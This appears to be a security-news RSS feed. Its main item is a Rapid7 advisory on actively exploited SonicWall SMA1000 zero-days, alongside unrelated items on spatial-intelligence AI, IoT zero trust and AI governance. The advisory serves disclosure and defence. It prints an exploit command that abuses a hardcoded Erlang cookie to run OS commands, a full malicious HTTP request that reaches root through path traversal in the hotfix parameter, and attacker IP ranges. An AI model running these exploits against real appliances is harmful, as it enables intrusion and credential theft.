<p class="wp-block-paragraph">Dr. Fei-Fei Li, often called the <a href="https://profiles.stanford.edu/fei-fei-li">godmother of AI</a>, published a manifesto on <a href="https://drfeifei.substack.com/p/from-words-to-worlds-spatial-intelligence">how spatial intelligence is AI’s next frontier</a>, contrasting it with LLMs. “While current state-of-the-art AI can excel at reading, writing, research, and pattern recognition in data, these same models bear fundamental limitations when representing or interacting with the physical world,” wrote Dr. Li. “Our view of the world is holistic—not just what we’re looking at, but how everything relates spatially, what it means, and why it matters. Understanding this through imagination, reasoning, creation, and interaction—not just descriptions—is the power of spatial intelligence.”</p>



<p class="wp-block-paragraph">The concept of spatial intelligence isn’t new and was described in Howard Gardner’s book, <em><a href="https://www.amazon.com/Frames-Mind-Theory-Multiple-Intelligences-ebook/dp/B004MYFV0E/">Frames of Mind</a></em>, in 1983. Recent breakthroughs, including the launch of <a href="https://marble.worldlabs.ai/">World Labs’ Marble</a> and its <a href="https://www.worldlabs.ai/blog/funding-2026">$1 billion funding round</a>, and competing approaches from <a href="https://deepmind.google/models/genie/">Google’s Genie 3</a> and <a href="https://www.nvidia.com/en-us/ai/cosmos/">Nvidia Cosmos</a>, should put spatial intelligence and world models on more R&amp;D road maps.</p>



<h2 class="wp-block-heading">What are spatial intelligence models?</h2>



<p class="wp-block-paragraph">It’s important to <a href="https://drive.starcio.com/2026/02/ai-literacy-a-leadership-guide/">develop AI literacy</a> and understand the terminology and concepts related to the physical world and 3D AI technologies: </p>



<ul class="wp-block-list">
<li>Spatial intelligence encompasses specialized approaches such as <a href="https://science.nasa.gov/science-research/ai-foundation-model-in-orbit/">geospatial models</a> for mapping the physical world and <a href="https://link.springer.com/article/10.1007/s44290-025-00342-5">building information modeling</a> (BIM) for modeling physical structures. It also extends to generative 3D, robotics, and physical reasoning applications.</li>



<li>World models are a class of <a href="https://www.ibm.com/think/topics/neural-networks">neural network architectures</a> and are currently a prominent approach to building spatial intelligence.</li>



<li><a href="https://www.infoworld.com/article/3693092/7-steps-to-take-before-developing-digital-twins.html">Digital twins</a> are live, virtual replicas of physical assets that combine 3D models with real-time sensor data. Spatial intelligence, an emerging capability of digital twins, adds natural-language prompting, generative scenario exploration, and physics-aware reasoning.</li>



<li><a href="https://treeview.studio/blog/top-examples-of-spatial-computing">Spatial computing</a> refers to digital content anchored in and interacting with physical space, sensed and rendered in three dimensions and delivered through AR/VR and mixed-reality systems.</li>
</ul>



<p class="wp-block-paragraph">“Spatial intelligence models go beyond pixels to understand the 3D structure of the world—how objects are positioned, how they move, and how they interact,” says David Fattal, founder and CTO at <a href="https://immersity.ai/">Leia</a>. “This enables applications like more realistic video generation, spatial computing interfaces, and AI systems that can reason about physical environments. As real-world 3D data becomes more available, these models will become foundational to the next generation of visual AI.”</p>



<h2 class="wp-block-heading">Monitoring the built environment</h2>



<p class="wp-block-paragraph">To better understand spatial intelligence, let’s consider physical infrastructure such as bridges and buildings. The American Society of Civil Engineers <a href="https://www.enr.com/articles/62214-infrastructure-gains-in-new-asce-report-cardbut-progress-hinges-on-post-2026-funds">estimates a $9.1 trillion investment</a> is needed from 2024 through 2033 to achieve a state of good repair. When maintenance and monitoring lag, it can lead to major failures such as <a href="https://www.ntsb.gov/news/press-releases/Pages/NR20240221.aspx">the 2022 collapse of the Fern Hollow Bridge in Pittsburgh</a>.</p>



<p class="wp-block-paragraph">Spatial intelligence and the development of digital twins may help identify issues earlier and prioritize where investments are needed. “Spatial intelligence models serve as the 4D digital blueprints for our built environment, allowing us to visualize and predict the complex interactions between aging assets and the shifting ground beneath them,” says Patrick Cozzi, chief platform officer at <a href="https://www.bentley.com/">Bentley Systems</a>. “By synthesizing disparate geospatial data into a living digital twin, these models provide the foresight necessary to mitigate the hidden risks of structural fatigue and subsurface instability.”</p>



<p class="wp-block-paragraph">There’s a significant challenge in <a href="https://www.mdpi.com/1424-8220/21/13/4336">bridge health monitoring</a> and transitioning from manual, infrequent structural inspections to leveraging sensors, digital twins, and spatial intelligence. Cozzi adds, “This integration of continuous field data moves beyond static documentation, empowering agencies to evolve from reactive repairs to proactive, resilient asset management that safeguards the long-term integrity of our most critical public systems.”</p>



<h2 class="wp-block-heading">Avoiding collisions</h2>



<p class="wp-block-paragraph">Bridges are largely static, but the real world is increasingly being occupied by autonomous systems such as self-driving cars, robots, and drones. And where there are moving systems, there is a risk of collisions.</p>



<p class="wp-block-paragraph">“Spatial intelligence models are AI systems that reason about the physical world by combining vision, sensor data, and contextual cues to understand space, motion, and object relationships,” says Sudeep George, CTO at <a href="https://imerit.net/">iMerit</a>. “The value of spatial intelligence models lies not just in perceiving an environment, but in enabling machines to act within it safely and in real time. That is especially important in robotics and autonomous systems, where decisions must be made in complex, multimodal, fast-changing settings.”</p>



<p class="wp-block-paragraph">To see one example, this tutorial for <a href="https://developer.nvidia.com/blog/simulate-robotic-environments-faster-with-nvidia-isaac-sim-and-world-labs-marble">simulating robotic environments</a> combines <a href="https://developer.nvidia.com/isaac/sim?size=n_6_n&amp;sort-field=featured&amp;sort-direction=desc">Nvidia Isaac Sim</a>, an open source robotics reference framework, with spatial intelligence in Marble from World Labs. </p>



<p class="wp-block-paragraph">Today’s collision detection systems, such as <a href="https://arxiv.org/html/2508.20892v1">those used in autonomous vehicles</a>, typically rely on modules for sensing, perception, planning, and control. Spatial intelligence models may offer improvements by assessing the collision risks of unidentified objects or by tracking objects that move out of sensor view. For example, <a href="https://waymo.com/blog/2026/02/the-waymo-world-model-a-new-frontier-for-autonomous-driving-simulation/">Waymo’s World Model</a>, built on Genie 3, is a simulator that generates complex weather conditions and other critical safety events.</p>



<p class="wp-block-paragraph">For an out-of-this-world example, James Urquhart, field CTO and technology evangelist at <a href="https://www.kamiwaza.ai/">Kamiwaza</a>, has delivered several examples of spatial intelligence applications, including one for satellite collision detection and conflict analysis. Urquhart says, “Models that specialize in these types of data sets, as well as the physics and geography of the real world, enable faster and more accurate decision-making for tasks that depend on them.”</p>



<h2 class="wp-block-heading">Applying spatial intelligence</h2>



<p class="wp-block-paragraph">Recent spatial intelligence announcements include creating 3D worlds from image or text prompts with <a href="https://www.worldlabs.ai/blog/marble-world-model">Marble</a> and simulating water physics, lighting, weather, and animal behavior with <a href="https://wavespeed.ai/blog/posts/google-deepmind-genie-3-world-model-2026/">Genie 3</a>. But difficulties remain in bringing spatial intelligence to physical-world use cases.</p>



<p class="wp-block-paragraph">“Spatial intelligence and world models are laying the groundwork for future AI agents that will be able to interact in and with our physical world,” says Jason Corso, cofounder and chief scientist at <a href="https://voxel51.com/">Voxel51</a>. “These models are significantly more challenging to develop and test, largely because the data underlying their development is complex, and it’s hard to handle all of the combinatorics involved in the physical world.”</p>



<p class="wp-block-paragraph">In addition to learning the models and prototyping with them, development and data leaders need to review the data assets that will feed spatial intelligence models. “Spatial intelligence models translate location signals into a structured understanding of the real world, but they’re only as reliable as the data beneath them,” says Dan Adams, executive vice president and general manager of Enrich at <a href="https://www.precisely.com/">Precisely</a>. “The real unlock isn’t the model—it’s the reference layer with persistent identifiers, confidence metadata, and source lineage that lets AI reason about places, not just match strings.”</p>



<p class="wp-block-paragraph">Even once applications are developed, there will be infrastructure challenges in deploying them at the edge. Ali Kayyam, principal research scientist at <a href="https://brainchip.com/">BrainChip</a>, says, “The key to unlocking spatial intelligence at scale is having the low-power, event-driven hardware that can run it at the sensor in real time where it matters most.”</p>



<h2 class="wp-block-heading">Where to get started</h2>



<p class="wp-block-paragraph">My suggestions for developers looking to get hands-on with spatial intelligence and world models:</p>



<ul class="wp-block-list">
<li>To try out Marble, review their <a href="https://docs.worldlabs.ai/api">API documentation</a> and <a href="https://www.worldlabs.ai/labs">case studies</a>, and then experiment with a <a href="https://github.com/willemhelmet/marble-api-quickstart">developer-focused React application</a>.</li>



<li>Review the Nvidia Cosmos <a href="https://developer.nvidia.com/cosmos">developer hub</a>, <a href="https://docs.nvidia.com/cosmos/latest/introduction.html">documentation</a>, and <a href="https://nvidia-cosmos.github.io/cosmos-cookbook/">cookbook</a> of case studies and learning paths.</li>



<li>You can get an overview of Genie 3, but access is currently restricted through Project Genie, which requires a <a href="https://gemini.google/subscriptions/">Google AI Ultra subscription</a>.</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why CISOs should use zero-trust security for IoT]]></title>
<description><![CDATA[IoT is meant to drive operational efficiency and improve decision-making, largely by automating processes and reducing overall costs. But with these benefits come escalating cybersecurity threats that target IoT devices, which are notoriously vulnerable compared to traditional IT infrastructure.…...]]></description>
<link>https://tsecurity.de/de/3672070/it-security-nachrichten/why-cisos-should-use-zero-trust-security-for-iot/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672070/it-security-nachrichten/why-cisos-should-use-zero-trust-security-for-iot/</guid>
<pubDate>Thu, 16 Jul 2026 01:22:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>&lt;p&gt;IoT is meant to drive operational efficiency and improve decision-making, largely by automating processes and reducing overall costs. But with these benefits come escalating cybersecurity &lt;a href=”https://www.techtarget.com/iotagenda/tip/5-IoT-security-threats-to-prioritize”&gt;threats that target IoT devices&lt;/a&gt;, which are notoriously vulnerable compared to traditional IT infrastructure.&lt;/p&gt;…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/why-cisos-should-use-zero-trust-security-for-iot/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/why-cisos-should-use-zero-trust-security-for-iot/">Why CISOs should use zero-trust security for IoT</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Secure the age of AI: Redefining trust, data and access]]></title>
<description><![CDATA[Author: Microsoft Security - Bewertung: 0x - Views:0 There is no question that AI is transforming the enterprise: changing how data moves, how decisions are made, and how risk takes shape. As agents access, interpret, and act on sensitive data, unmanaged AI use expands and traditional boundaries ...]]></description>
<link>https://tsecurity.de/de/3672030/it-security-video/secure-the-age-of-ai-redefining-trust-data-and-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672030/it-security-video/secure-the-age-of-ai-redefining-trust-data-and-access/</guid>
<pubDate>Thu, 16 Jul 2026 00:32:53 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Microsoft Security - Bewertung: 0x - Views:0 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/dNPRu6PhiSk?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>There is no question that AI is transforming the enterprise: changing how data moves, how decisions are made, and how risk takes shape. As agents access, interpret, and act on sensitive data, unmanaged AI use expands and traditional boundaries blur.<br />
<br />
Kicking off our series on Securing Data and Access in the Era of AI, Microsoft Entra VP of Product Sinead O’Donovan and Microsoft Purview GM of Product Maithili Dandige explain why legacy security models fall short in the age of AI—and why you need a strategy that brings together identity, access, and data protection. Want to adopt and enable AI innovation with greater control and confidence? Join us to learn how leading organizations are securing access, protecting data, and establishing trust for the next generation of AI-powered work.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Data and identity controls for the browser and network]]></title>
<description><![CDATA[Author: Microsoft Security - Bewertung: 0x - Views:0 Sensitive data doesn't stay still. It moves through browsers, SaaS apps, generative AI tools, and prompts; often beyond the visibility of traditional controls.

See how Microsoft Entra and Purview bring real-time visibility and control to sensi...]]></description>
<link>https://tsecurity.de/de/3672029/it-security-video/data-and-identity-controls-for-the-browser-and-network/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672029/it-security-video/data-and-identity-controls-for-the-browser-and-network/</guid>
<pubDate>Thu, 16 Jul 2026 00:32:52 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Microsoft Security - Bewertung: 0x - Views:0 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/KQwY--Azhlc?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Sensitive data doesn't stay still. It moves through browsers, SaaS apps, generative AI tools, and prompts; often beyond the visibility of traditional controls.<br />
<br />
See how Microsoft Entra and Purview bring real-time visibility and control to sensitive data in motion across the network. You’ll learn how integrated data security and secure access controls can help reduce leakage risk, support responsible AI adoption, and enable modern work without slowing your business down.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[3D-Printed, Customized Contact Lenses Are Possible, and Can Be Made in 20 Minutes]]></title>
<description><![CDATA[A new system could create patient-specific lenses for those with irregular corneas who struggle with traditional contact lenses.]]></description>
<link>https://tsecurity.de/de/3671714/it-nachrichten/3d-printed-customized-contact-lenses-are-possible-and-can-be-made-in-20-minutes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671714/it-nachrichten/3d-printed-customized-contact-lenses-are-possible-and-can-be-made-in-20-minutes/</guid>
<pubDate>Wed, 15 Jul 2026 21:17:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A new system could create patient-specific lenses for those with irregular corneas who struggle with traditional contact lenses.]]></content:encoded>
</item>
<item>
<title><![CDATA[Rapid7 MDR Team Discovers New SonicWall SMA1000 Zero Days being Actively Exploited (CVE-2026-15409, CVE-2026-15410)]]></title>
<description><![CDATA[OverviewOn July 14, 2026, SonicWall published a security advisory addressing two vulnerabilities affecting SMA1000 Series remote access appliances, including the critical server-side request forgery (SSRF) vulnerability CVE-2026-15409 (CVSS 10.0) and the high-severity code injection vulnerability...]]></description>
<link>https://tsecurity.de/de/3671466/it-security-nachrichten/rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671466/it-security-nachrichten/rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/</guid>
<pubDate>Wed, 15 Jul 2026 19:24:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Overview</h2><p><span>On July 14, 2026, SonicWall </span><a href="https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008" target="_blank"><span>published</span></a><span> a security advisory addressing two vulnerabilities affecting SMA1000 Series remote access appliances, including the critical server-side request forgery (SSRF) vulnerability </span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-15409" target="_blank"><span>CVE-2026-15409</span></a><span> (CVSS 10.0) and the high-severity code injection vulnerability </span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-15410" target="_blank"><span>CVE-2026-15410</span></a><span>. The advisory urges customers to immediately apply the latest platform hotfix releases.</span></p><p><span>Successful exploitation of CVE-2026-15409 permits an unauthenticated attacker to open a websocket-based tunnel to arbitrary localhost-only services, while CVE-2026-15410 is a local privilege escalation that permits an attacker with access to an internal service listening on port 8188 on localhost to execute arbitrary operating system commands as root via a malicious path traversal-based </span><span><span data-type="inlineCode">remove_hotfix</span></span><span> workflow.</span></p><p><span>Both vulnerabilities are being actively exploited in the wild. Prior to SonicWall’s official vulnerability disclosure, Rapid7’s Managed Detection and Response team observed active, targeted zero-day exploitation of internet-facing SMA 1000-series appliances. In the SonicWall advisory, exploitation in the wild was </span><a href="https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008#EITW" target="_blank"><span>noted</span></a><span>, and both </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-15409" target="_blank"><span>CVE-2026-15409</span></a><span> and </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-15410" target="_blank"><span>CVE-2026-15410</span></a><span> have been added to CISA's Known Exploited Vulnerabilities (</span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" target="_blank"><span>KEV</span></a><span>) catalog. Given the confirmed exploitation activity and the critical unauthenticated impact of the vulnerabilities, organizations should prioritize remediation of SMA1000 appliances on an emergency basis. A Python proof-of-concept for CVE-2026-15409 is available </span><a href="https://github.com/remmons-r7/rapid7-CVE-2026-15409"><span>here</span></a><span> for exposure validation, and a Metasploit module for the chain is in development.</span></p><p><span>Affected products include SonicWall SMA1000 Series models 6210, 7210, and 8200v running:</span></p><ul><li><p><span>12.4.3-03245</span></p></li><li><p><span>12.4.3-03387</span></p></li><li><p><span>12.4.3-03434 (platform-hotfix)</span></p></li><li><p><span>12.5.0-02283</span></p></li><li><p><span>12.5.0-02624</span></p></li><li><p><span>12.5.0-02800 (platform-hotfix)</span></p></li></ul><p><span>These vulnerabilities do not affect SSL VPN functionality on SonicWall firewalls or the SMA 100 Series product line.</span></p><h2>Technical overview</h2><p><span>The primary vulnerability is in a websocket proxy feature, accessed via the path /wsproxy on the affected “SonicWall WorkPlace” application (served on port 443 by default). This feature permits a netcat-like TCP tunnel to arbitrary hosts and ports, which are provided by the user in URL parameters. By providing host values that point to localhost, the attacker can access local SonicWall appliance system services behind the firewall to send and receive arbitrary TCP traffic to and from them. This is the first-stage vulnerability, CVE-2026-15409, that Rapid7 MDR analysts are seeing attackers exploiting in the wild. With this capability, an attacker can reach and exploit less-hardened services running on the appliance, such as the Erlang application on localhost:1050 or the ctrl-service application on localhost:8188. </span></p><p><span>We developed an exploit targeting the Erlang process listening on localhost:1050 for remote code execution. Note that the provided cookie value is hardcoded for the Erlang process, based on our testing, so authentication is not required to establish code execution.</span></p><pre language="html"># python3 cve-2026-15409.py --ws-url 'wss://192.168.1.46/wsproxy?bmID=-3389c1b25ccd&amp;serviceType=SSH&amp;host=0.0.0.0&amp;port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'whoami &amp;&amp; id &amp;&amp; pwd &amp;&amp; hostname'
Authenticated to couchdb@127.0.0.1
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 =&gt; couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma</pre><p><span></span></p><p><span>With code execution established, the attacker can escalate to root on the appliance by exploiting CVE-2026-15410, which is a path traversal in the remove_hotfix workflow of ctrl-service. This can be performed via the web console or by hitting port 8188 on the device. The attacker provides a hotfix value containing a path traversal sequence to a malicious script, such as “../../../../var/tmp/privesc”. The system executes the script as root and (typically) reboots the appliance immediately after.</span><br><span>An example malicious request achieving privilege escalation by leveraging this from the web panel is depicted below:</span></p><pre language="html">POST /rollbackConfirm.action HTTP/1.1
Host: 192.168.181.46:8443
Cookie: EXTRAWEB_REFERER=%252F; JSESSIONID=node01bcg1tbiy6qi7s97xsoa42lhp8.node0
Content-Length: 134
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="24", "Chromium";v="152"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Origin: https://192.168.181.46:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.181.46:8443/rollbackConfirm.action
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

csrfToken=GFEJUCQBUZOLUCCOO3YBA8G30ZE9VKDP&amp;command=rollback&amp;rollbackUpgradeTime=&amp;hotfix=../../../../../tmp/1234.sh&amp;rollbackHotfixTime=</pre><p><span></span></p><p><span>If the provided hotfix file does not exist, a reboot does not occur. If the provided file exists, the system reboots after it chmods and executes the file. Below is a system monitor (pspy) depicting output of this occurring during exploitation:</span></p><pre language="html">2026/07/09 23:21:00 CMD: UID=0     PID=10355  | chmod +x /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh
2026/07/09 23:21:00 CMD: UID=0     PID=10355  | /bin/bash /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh --unattended
2026/07/09 23:21:00 CMD: UID=0     PID=10361  | /usr/bin/python3 /usr/local/ctrl-service/bin/ctrl-service.py
[...]
2026/07/09 23:21:22 CMD: UID=0     PID=11124  | shutdown -r now</pre><p><span></span></p><p><span>A Python proof-of-concept for CVE-2026-15409 is available </span><a href="https://github.com/remmons-r7/rapid7-CVE-2026-15409" target="_blank"><span>here</span></a><span>; a Metasploit module for the chain is in development.</span></p><h2>Mitigation guidance</h2><p><span>Organizations operating SonicWall SMA1000 appliances should </span><span><strong>immediately upgrade</strong></span><span> to the latest platform hotfix releases.</span></p><p><span>Fixed versions are:</span></p><table><colgroup data-width="609"><col><col></colgroup><thead><tr><th><p><span>Product</span></p></th><th><p><span>Fixed Version</span></p></th></tr></thead><tbody><tr><td><p><span>SMA1000 Series (6210, 7210, 8200v)</span></p></td><td><p><span>12.4.3-03453 (platform-hotfix) or later</span></p></td></tr><tr><td><p><span>SMA1000 Series (6210, 7210, 8200v)</span></p></td><td><p><span>12.5.0-02835 (platform-hotfix) or later</span></p></td></tr></tbody></table><p><span></span></p><p><span>There are </span><span><strong>no workarounds</strong></span><span> available.</span></p><p><span>Because active exploitation has been confirmed, organizations should not rely solely on patching. SonicWall additionally recommends:</span></p><ul><li><p><span>Performing a thorough forensic review for indicators of compromise.</span></p></li><li><p><span>Re-imaging physical appliances or redeploying virtual appliances if compromise is identified.</span></p></li><li><p><span>Changing user and administrator passwords.</span></p></li><li><p><span>Resetting TOTP tokens following confirmed compromise.</span></p></li></ul><p><span>Customers should consult the SonicWall security advisory for the latest remediation guidance and platform hotfix availability.</span></p><h2>Observed exploitation</h2><p><span>Prior to SonicWall’s official vulnerability disclosure, our Managed Detection and Response team observed active, targeted exploitation of internet-facing SMA 1000-series appliances. Threat actors were primarily leveraging the perimeter appliance as a stealthy initial access vector, executing commands on the operating system by bypassing traditional input validation controls. Once they established a foothold on the appliance, the actors systematically extracted high-value credentials, active session databases, and Time-Based One-Time Password (TOTP) multi-factor authentication (MFA) seed configurations. This local harvesting was designed to ensure long-term, persistent access that could survive standard network-level remediations.</span></p><p><span>With these harvested resources, the threat actors quickly shifted to lateral movement, pivoting from the compromised appliance directly into the internal corporate network. Specifically, we observed a sequence of anomalous, VPN-less Active Directory authentications targeting core domain controllers. These authentications originated directly from the appliance’s internal IP address, using atypical, non-corporate workstation client names (such as kali or other non-inventory hostnames) under the context of the appliance’s integrated LDAP service account. This unique behavior of direct, machine-level lateral movement with no corresponding active VPN tunnel confirmed that the appliance itself had been fully compromised and was acting as an unmonitored backdoor into the corporate directory infrastructure.</span></p><h2>Artifacts or evidence sources and IOCs</h2><p><span>Rapid7 recommends reviewing appliance logs for evidence of active exploitation, including the following characteristic behaviors and specific log indicators:</span></p><h3><span>Characteristic Behaviors</span></h3><ul><li><p><span><strong>Websocket exploit IOC log patterns:</strong></span><span> extraweb_access.log entries containing the strings ("GET" AND "wsproxy" AND "=-3389" AND “ 101 “) indicate interactions with the niche affected service. If suspicious host parameter values such as “0.0.0.0”, “localhost”, or “::ffff:127.0.0.1” are present, that’s indicative of likely exploitation of CVE-2026-15409. Note that “serviceType=SSH” was used in our published materials, but options such as “serviceType=TELNET” are viable alternatives.</span></p></li><li><p><span><strong>Hotfix removal exploit IOC log patterns:</strong></span><span> The ctrl-service.log shows the hotfix-removal utility (/usr/local/bin/remove_hotfix) being invoked with traversal sequences pointing to attacker-staged shell script payloads (e.g., ../../../../../../tmp/sma1000_5c47.sh). This is indicative of successful exploitation of CVE-2026-15410.</span></p></li><li><p><span><strong>Internet-facing probing:</strong></span><span> Enumeration of the SMA portal, including repeated requests to /auth1.html, path-traversal attempts, and generic file/enumeration requests (e.g., /.env, /api/sonicos/is-sslvpn-enabled).</span></p></li><li><p><span><strong>Authentication activity:</strong></span><span> Authentication-API activity against /__api__/logon/&lt;session-id&gt;/authenticate.</span></p></li><li><p><span><strong>Sensitive path access:</strong></span><span> Access to sensitive appliance paths such as /tmp/temp.db*, consistent with theft of stored session data.</span></p></li><li><p><span><strong>AD/Service Account Compromise:</strong></span><span> NTLM logons (Windows Event ID 4624, logon type 3) into internal domain controllers sourced from the appliance's internal IP address, using attacker-controlled workstation names (e.g., kali) without a corresponding VPN session.</span></p></li></ul><ul><li><p><span><strong>extraweb_access.log:</strong></span><span> Requests to /__api__/login or /__api__/logout returning HTTP 200, and requests to /wsproxy containing suspicious host parameters returning HTTP 101.</span></p></li></ul><h3><span>Configuration artifacts</span></h3><ul><li><p><span>/var/lib/unit/conf.json containing routes for /__api__/login or /__api__/logout, which are not present in legitimate configurations.</span></p></li></ul><h3><span>Atomic Indicators</span></h3><ul><li><p><span><strong>F.N.S Holdings Limited (ASN - 206092): </strong></span><span>The threat actor(s) utilized varying IP addresses, but they belonged to the VPN hosting provider FNS Holdings Limited. Limit or block access to FNS Holdings Limited if there is no business need. For reference, the IP addresses we observed were:</span></p></li><ul><li><p><span>45.131.194.0/24</span></p></li><li><p><span>45.146.54.0/24</span></p></li><li><p><span>63.135.161.0/24</span></p></li><li><p><span>173.239.211.0/24</span></p></li><li><p><span>193.37.32[.]179</span></p></li><li><p><span>193.37.32[.]214</span></p></li><li><p><span>216.73.163[.]151</span></p></li><li><p><span>216.73.163[.]158</span></p></li></ul></ul><p><span>If any indicators of compromise are identified, organizations should treat the appliance as compromised and follow SonicWall’s recovery guidance.</span></p><h2>Rapid7 customers</h2><p><span>Organizations should prioritize identifying all internet-facing SonicWall SMA1000 appliances and determine whether affected software versions remain deployed. Given SonicWall’s and Rapid7’s confirmation of active exploitation, exposed appliances should be considered high-priority assets for remediation.</span></p><p><span>Security teams should also review available authentication, web access, and appliance management logs for the indicators published by SonicWall to determine whether follow-up incident response activities are warranted.</span></p><h3>Exposure Command, InsightVM, and Nexpose</h3><p><span>Exposure Command, InsightVM, and Nexpose customers will be able to assess exposure to </span><span><strong>CVE-2026-15409</strong></span><span> and </span><span><strong>CVE-2026-15410</strong></span><span> with authenticated vulnerability checks available in the July 15 content release.</span></p><h2>Updates</h2><p><span><strong>July 15, 2026:</strong></span><span> Initial publication.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI is paying off, but governance is lagging behind]]></title>
<description><![CDATA[Enterprises are facing two simultaneous challenges with AI: The risks associated with it are evolving faster than governance frameworks, while the business benefits are often difficult to measure.



This is one of the key findings of The Value of AI, a study commissioned by SAP from Oxford Econo...]]></description>
<link>https://tsecurity.de/de/3671333/it-nachrichten/ai-is-paying-off-but-governance-is-lagging-behind/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671333/it-nachrichten/ai-is-paying-off-but-governance-is-lagging-behind/</guid>
<pubDate>Wed, 15 Jul 2026 18:33:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Enterprises are facing two simultaneous challenges with AI: The risks associated with it are evolving faster than governance frameworks, while the business benefits are often difficult to measure.</p>



<p class="wp-block-paragraph">This is one of the key findings of <a href="https://www.sap.com/documents/2026/07/92b94d7d-5a7f-0010-bca6-c68f7e60039b.html" target="_blank" rel="noreferrer noopener">The Value of AI</a>, a study commissioned by SAP from Oxford Economics. Now in its second year, the study surveyed 2,600 executives from 13 countries worldwide.</p>



<h2 class="wp-block-heading">High expectations, limited preparation</h2>



<p class="wp-block-paragraph">On average, the enterprises surveyed plan to spend around $28 million on AI (up from $26.7 million last year), and expect a 21% ROI (from 16% last year). Expectations for AI agents are particularly high, with ROI expected to reach 17% this year, up from 10% last year. Furthermore, 83% of respondents worldwide said agentic AI has the potential to fundamentally transform their organization. On the other hand, only 3% of respondents said their enterprises were fully prepared for the deployment of AI agents.</p>



<p class="wp-block-paragraph">There are gaps, particularly when it comes to governance:</p>



<ul class="wp-block-list">
<li>Only 12% of respondents said their skills or processes were able to govern AI effectively,</li>



<li>38% do not have human-in-the-loop processes in place for oversight of AI agents, and</li>



<li>only 63% have established permissions and access controls for agents.</li>
</ul>



<p class="wp-block-paragraph">Other concerns include weaknesses in the organization of AI deployment, poor data quality, insufficient employee training, and the widespread use of shadow AI.</p>



<h2 class="wp-block-heading">Governance is the bigger challenge</h2>


<div class="extendedBlock-wrapper block-coreImage right"><figure class="wp-block-image alignright size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Sean Kask, Chief AI Strategy Officer at SAP </figcaption></figure><p class="imageCredit">SAP</p></div>



<p class="wp-block-paragraph">In an interview, <a href="https://www.linkedin.com/in/seankask/" target="_blank" rel="noreferrer noopener">Sean Kask</a>, Chief AI Strategy Officer at SAP, commented on the study’s key findings.</p>



<p class="wp-block-paragraph"><em>Mr. Kask, in the study’s foreword, you write that companies are currently facing two challenges simultaneously: The risks associated with AI are evolving faster than governance, while the business benefits are often difficult to measure. Which of these poses the greater problem for companies?</em></p>



